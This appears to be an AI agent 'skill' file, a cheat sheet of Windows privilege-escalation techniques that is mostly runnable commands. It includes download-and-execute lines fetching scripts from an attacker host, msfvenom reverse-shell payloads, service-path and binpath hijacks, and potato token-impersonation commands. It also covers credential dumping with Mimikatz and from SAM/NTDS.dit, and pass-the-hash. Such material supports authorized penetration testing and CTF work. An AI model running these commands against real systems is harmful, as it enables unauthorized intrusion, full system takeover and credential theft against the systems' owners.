| name | Windows Privilege Escalation |
| description | This skill should be used when the user asks about "Windows privilege escalation",
"winpeas", "token impersonation", "potato attacks", "service exploitation",
"unquoted service path", "AlwaysInstallElevated", or needs guidance on
escalating privileges on Windows systems.
|
| version | 1.0.0 |
Windows Privilege Escalation Skill
Overview
Techniques for escalating privileges from a low-privileged user to SYSTEM/Administrator on Windows systems.
Automated Enumeration
WinPEAS
# Download and run
IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER>/winPEAS.ps1')
# Run executable
.\winPEASany.exe
# Quiet mode
.\winPEASany.exe quiet
# Specific checks
.\winPEASany.exe servicesinfo
PowerUp
IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER>/PowerUp.ps1')
Invoke-AllChecks
# Specific checks
Get-UnquotedService
Get-ModifiableService
Get-RegistryAlwaysInstallElevated
Windows Exploit Suggester
python windows-exploit-suggester.py --update
python windows-exploit-suggester.py --database 2024-01-01-mssb.xls --systeminfo systeminfo.txt
Manual Enumeration Checklist
1. User Information
whoami
whoami /priv
whoami /groups
net users
net user <username>
net localgroup Administrators
qwinsta # Other logged in users
2. Token Privileges
whoami /priv
High-Value Privileges:
| Privilege | Attack |
|---|
| SeImpersonatePrivilege | PrintSpoofer, JuicyPotato, RoguePotato |
| SeAssignPrimaryTokenPrivilege | Token impersonation |
| SeBackupPrivilege | Backup SAM/SYSTEM hashes |
| SeRestorePrivilege | Write to any file |
| SeTakeOwnershipPrivilege | Take ownership of files |
| SeDebugPrivilege | Dump LSASS, inject into processes |
| SeLoadDriverPrivilege | Load vulnerable driver |
Token Impersonation Attacks:
# PrintSpoofer (Windows 10, Server 2016/2019)
.\PrintSpoofer.exe -i -c cmd
# JuicyPotato (Windows 7-10, Server 2008-2016)
.\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {CLSID}
# RoguePotato (Windows 10, Server 2019)
.\RoguePotato.exe -r <ATTACKER_IP> -e "cmd.exe" -l 9999
3. Unquoted Service Paths
wmic service get name,pathname,startmode | findstr /i auto | findstr /i /v "C:\Windows"
# PowerUp
Get-UnquotedService
Exploitation:
# If path is: C:\Program Files\Some Folder\service.exe
# Windows searches for:
# C:\Program.exe
# C:\Program Files\Some.exe
# C:\Program Files\Some Folder\service.exe
# Drop malicious executable
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f exe > Program.exe
copy Program.exe "C:\Program.exe"
sc stop <service>
sc start <service>
4. Modifiable Services
# Check service permissions
accesschk.exe /accepteula -uwcqv "Everyone" *
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
accesschk.exe /accepteula -uwcqv "Users" *
# PowerUp
Get-ModifiableService
Exploitation:
sc config <service> binpath= "C:\temp\shell.exe"
sc stop <service>
sc start <service>
5. AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
If both return 0x1:
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f msi > shell.msi
msiexec /quiet /qn /i shell.msi
6. Stored Credentials
# Check for saved credentials
cmdkey /list
# Use saved credentials
runas /savecred /user:Administrator cmd
# Search for credentials in files
findstr /si password *.txt *.ini *.config *.xml
findstr /spin "password" *.*
Common credential locations:
# Unattend files
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\System32\sysprep\Unattend.xml
C:\Windows\System32\sysprep\Panther\Unattend.xml
# PowerShell history
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
# IIS config
C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
7. Registry Autoruns
# Check autorun locations
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
# Check if writable
accesschk.exe /accepteula -wvu "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
8. Scheduled Tasks
schtasks /query /fo LIST /v
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
Look for:
- Custom tasks running as SYSTEM
- Writable scripts in task actions
9. SAM/SYSTEM Files
# Check for backup SAM files
dir C:\Windows\Repair\SAM
dir C:\Windows\System32\config\RegBack\SAM
# If admin, dump directly
reg save HKLM\SAM sam
reg save HKLM\SYSTEM system
# Extract on attacker
secretsdump.py -sam sam -system system LOCAL
10. DLL Hijacking
# Find missing DLLs using Process Monitor
# Or check known locations
accesschk.exe /accepteula -wvu "C:\Program Files"
11. Hot Potato / Juicy Potato CLSID
# Windows 10/Server 2019 CLSID
{F3A614DC-ABE0-11D2-A441-00C04F795683}
# Windows 7/Server 2008
{4991d34b-80a1-4291-83b6-3328366b9097}
# Find more at: https://github.com/ohpe/juicy-potato/blob/master/CLSID/
12. Kernel Exploits
systeminfo
# Look for OS version and installed hotfixes
Common Windows Kernel Exploits:
| Windows Version | Exploit |
|---|
| Win 7/8/10, Server 2008-2016 | MS16-032 |
| Win 7/Server 2008 R2 | MS15-051 |
| Server 2003/XP | MS08-067 |
| Win 8.1/Server 2012 | MS14-058 |
Post-Exploitation
Dump Credentials
# Mimikatz
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
# Get SAM
.\mimikatz.exe "privilege::debug" "lsadump::sam" exit
# Get LSA secrets
.\mimikatz.exe "privilege::debug" "lsadump::secrets" exit
Pass-the-Hash
psexec.py <DOMAIN>/<USER>@<TARGET> -hashes :<NTLM_HASH>
wmiexec.py <DOMAIN>/<USER>@<TARGET> -hashes :<NTLM_HASH>
Backup Tool Abuse
SeBackupPrivilege
# Check if you have it
whoami /priv | findstr /i backup
# Copy any file using backup semantics
robocopy /b C:\Users\Administrator\Desktop C:\temp flag.txt
# Or use diskshadow for NTDS.dit
diskshadow /s shadow.txt
# shadow.txt contains:
# set context persistent nowriters
# add volume c: alias temp
# create
# expose %temp% z:
# Then copy from shadow copy
robocopy /b z:\Windows\NTDS C:\temp ntds.dit
SeRestorePrivilege
# Check if you have it
whoami /priv | findstr /i restore
# Write to any location
# Can overwrite DLLs, service binaries, etc.
robocopy /b C:\temp C:\Windows\System32 malicious.dll
Volume Shadow Copy (VSS)
# List existing shadow copies
vssadmin list shadows
# Create shadow copy (requires admin)
vssadmin create shadow /for=C:
# Access shadow copy contents
mklink /d C:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
# Read protected files from shadow
type C:\shadowcopy\Windows\System32\config\SAM
Windows Backup (wbadmin)
# If wbadmin is available and you have backup rights
wbadmin start backup -backuptarget:E: -include:C:\Users\Administrator -quiet
# Restore to readable location
wbadmin start recovery -version:<version> -itemtype:File -items:C:\Users\Administrator\flag.txt -recoverytarget:C:\temp
Third-Party Backup Tools
Common backup software that may have elevated service accounts:
- Veeam Backup
- Commvault
- Veritas NetBackup
- Acronis
Pattern: Check if user is member of backup operator groups or has access to backup tool consoles.
# Check group membership
net localgroup "Backup Operators"
whoami /groups | findstr -i backup
Quick Reference
# Priority Order
1. Token privileges (SeImpersonate → Potato attacks)
2. Unquoted service paths
3. Modifiable services
4. AlwaysInstallElevated
5. Stored credentials (cmdkey, files)
6. Backup privileges (SeBackup/SeRestore, VSS)
7. Scheduled tasks
8. SAM file backups
9. DLL hijacking
10. Kernel exploits (last resort)
Resources
